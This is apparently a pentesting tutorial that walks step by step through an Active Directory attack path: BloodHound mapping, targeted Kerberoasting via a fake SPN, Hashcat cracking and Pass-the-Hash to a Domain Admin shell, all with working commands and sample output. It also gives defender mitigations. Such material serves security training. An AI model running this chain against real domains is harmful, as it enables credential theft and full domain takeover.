Active Directory Attack Paths Every Pentester Must Know

In 2024, the Midnight Blizzard group pivoted from a compromised service account to Domain Admin in under four hours — entirely through abused Active Directory permissions. No zero-days. Just misconfigurations that exist in most enterprise environments right now. If you are running AD assessments without mapping attack paths first, you are leaving the most critical findings on the table.

Step 1: Map the Attack Surface with BloodHound

BloodHound (now BloodHound CE) ingests AD relationship data and visualizes privilege escalation paths as a graph. It turns a sprawling domain into a set of answerable questions: who can reach Domain Admin, and how many hops does it take?

Start by collecting data with SharpHound from a low-privileged foothold. You only need a standard domain user account.

# Run SharpHound from a compromised workstation
# User: CORP\jsmith | Host: WS-FINANCE-04 (192.0.2.41)

.\SharpHound.exe --CollectionMethods All --Domain corp.local --OutputDirectory C:\Temp\bh_out

[+] Initializing SharpHound at 09:14:32 on 09/05/2026
[+] Resolved collection methods: Group, LocalAdmin, Session, Trusts,
    ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
[+] Creating output directory at C:\Temp\bh_out
[+] Compressing output files...
[+] Output path: C:\Temp\bh_out\20260905_BloodHound.zip
[+] SharpHound completed in 00:03:17

Import that ZIP into BloodHound CE and run the pre-built query “Shortest Paths to Domain Admins.” What you are looking for is any non-admin user or computer that sits just a few edges from the Domain Admins group. A path like jsmith → GenericWrite → svc-backup → MemberOf → Domain Admins means jsmith can modify the svc-backup object and add it — or themselves — to a privileged group.

That single path is your entire attack plan. Document the edge type, the object it targets, and the controlling principal. Everything else in the assessment flows from this graph.

Step 2: Abuse ACL Misconfigurations with PowerView

BloodHound flags the path — PowerView lets you execute it. GenericWrite on a user account means you can set a targeted Kerberoastable SPN, request a service ticket, and crack it offline. This is one of the most underrated privilege escalation chains in AD.

# PowerView loaded in memory on WS-FINANCE-04
# Confirm jsmith has GenericWrite over svc-backup

Get-DomainObjectAcl -Identity svc-backup -ResolveGUIDs | 
  Where-Object { $_.ActiveDirectoryRights -match "GenericWrite" }

ObjectDN              : CN=svc-backup,OU=ServiceAccounts,DC=corp,DC=local
ActiveDirectoryRights : GenericWrite
SecurityIdentifier    : S-1-5-21-3847204...-1105
IdentityReference     : CORP\jsmith

# Set a fake SPN on svc-backup to make it Kerberoastable
Set-DomainObject -Identity svc-backup -Set @{serviceprincipalname="fake/roast.corp.local"}

# Request and extract the service ticket
Get-DomainSPNTicket -SPN "fake/roast.corp.local" -OutputFormat Hashcat

$krb5tgs$23$*svc-backup$CORP.LOCAL$fake/roast.corp.local*$a3f91c2d...

That hash goes straight into Hashcat. Mode 13100 handles RC4-encrypted TGS tickets.

hashcat -m 13100 svc-backup.hash /usr/share/wordlists/rockyou.txt --rules-file best64.rule

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Recovered........: 1/1 (100.00%)
Plaintext........: Winter2024!

Password cracked. Now authenticate as svc-backup, and because that account is a member of Domain Admins, you own the domain. Clean up after yourself — remove the fake SPN with Set-DomainObject -Identity svc-backup -Clear serviceprincipalname.

Step 3: Lateral Movement via Pass-the-Hash

Once you have credentials or an NTLM hash, Pass-the-Hash (PtH) lets you authenticate as that user without ever knowing the plaintext password. Impacket’s wmiexec is fast, leaves fewer artifacts than PSExec, and works over port 135.

# Hash for svc-backup extracted from secretsdump or Mimikatz
# NTLM: aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c

python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c \
  CORP/svc-backup@192.0.2.10

Impacket v0.12.0 - Copyright SecureAuth Corporation
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
C:\>whoami
corp\svc-backup
C:\>net group "Domain Admins" /domain
...
Members: Administrator, svc-backup

You now have an interactive shell on DC01 (192.0.2.10) as a Domain Admin. From here, secretsdump against the DC extracts every hash in the domain. The entire environment is compromised.

Defenders: this exact technique is blocked by enabling Protected Users security group membership for privileged accounts and enforcing Credential Guard on workstations. PtH relies on NTLM — Protected Users disables NTLM authentication for members entirely.

What To Do Now

Open BloodHound CE in your lab or against your own domain (with authorization) and run one query: “Find Principals with DCSync Rights.” If any account outside of Domain Admins and SYSTEM appears in those results, you have a critical finding that can be fixed today by removing the DS-Replication-Get-Changes-All extended right from that principal. That single ACL cleanup closes one of the most commonly exploited paths to full domain compromise.